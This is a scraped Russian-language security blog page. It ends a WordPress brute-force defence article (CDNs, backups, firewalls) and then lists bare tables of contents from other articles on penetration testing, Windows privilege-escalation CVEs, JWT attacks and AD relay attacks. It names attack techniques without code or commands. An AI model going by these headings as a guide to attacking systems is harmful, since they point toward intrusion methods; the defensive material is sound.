Даже неудачные брутфорс атаки могут замедлить работу сайта или полностью вывести сервер из строя. Вот почему так важно их заблокировать, для чего и понадобиться брандмауэр, который отфильтровывает плохой трафик и блокирует ему доступ к вашему сайту.

Подключить СDN сервис

CDN (Content Delivery Network) сеть доставки и дистрибуции контента, более подробно о которой можно узнать здесь. Для нас главное, что CDN обеспечивают надежную защиту от брутфорса.

Топ 6 CDN c бесплатными решениями для WordPress:

Cloudflare
Jetpack
Swarmify
Amazon CloudFront (1 год бесплатного доступа)
Incapsula
JS Deliver

Установить и настроить бэкап плагин

На крайний случай будет полезно установить и настроить бэкап плагин. По крайней мере в случае удачной атаки будет возможность восстановить данные. Есть несколько отличных плагинов для WordPress, которые позволяют делать резервные копии автоматически.

Отключение просмотра каталогов и автоматических обновлений

Еще один способ снизить риск брутфорс атаки для сайта на WordPress.

Подробнее..

Категории: Разработка веб-сайтов , Тестирование веб-сервисов , Тестирование сайтов , Habr , Тестирование веб-приложений , Тестирование на проникновение , Wordpress plugins , Блог компании alexhost , Wordpress hacks , Wordpress security

	Русский
	English

Тестирование на проникновение

Кто и что проверяет

Как это происходит

Кто заходит в инфраструктуру

Кому все это нужно

Откуда взялась CVE-2018-6789

Как эксплуатируется уязвимость

Какие проблемы были у заказчика

Вывод

Кейс

Угроза

Задача

Виртуальная инфраструктура

Решение: настройка SIEM-системы

1. Отправка событий с межсетевого экрана

2. Отправка событий с web-сервера

3. Получение потока событий SIEM-системой КОМРАД

4. Разбор событий SIEM-системой КОМРАД (парсинг)

5. Настройка фильтров для извлечения из потока интересующих событий информационной безопасности

6. Создание директив корреляции

Решение: проведение атаки и ее выявление

Заключение

Как получить демо-версию SIEM-системы КОМРАД

Ссылки

Privileges in Windows

LPE или что делать с токеном

Уязвимости и эксплойты

CVE-2015-2546

CVE-2016-3309

CVE-017-0101

CVE-2018-8120

CVE-2019-1458

CVE-2020-0796

Вместо заключения

Содержание:

Что такое JSON Web Token?

Заголовок

Полезная нагрузка

Подпись

Что такое SECRET_KEY?

Атаки на JWT

Базовые атаки

1. Нет алгоритма

2. Изменяем алгоритм с RS256 на HS256

3. Без проверки подписи

4. Взлом секретного ключа

5. Использование произвольных файлов для проверки

Продвинутые атаки:

1. SQL-инъекция

2. Параметр поддельного заголовка

3. Внедрение заголовка ответа HTTP

4. Прочие уязвимости

Старые как мир технологии

Что интересного для карты сети

Практика

Что такое Relay

Windows AD

Атаки и инструменты

Заключение

Завязка сюжета

Кульминация

Развязка

Эпилог

Предварительные требования

WPscan

Metasploit

Burp Suite

Как избежать брутфорса?

Длина пароля

Сложность пароля

Ограничение попыток входа в систему

Двухфакторная аутентификация

Captcha

Плагин брандмауэра WordPress

Подключить СDN сервис

Установить и настроить бэкап плагин

Отключение просмотра каталогов и автоматических обновлений

Категории

Последние комментарии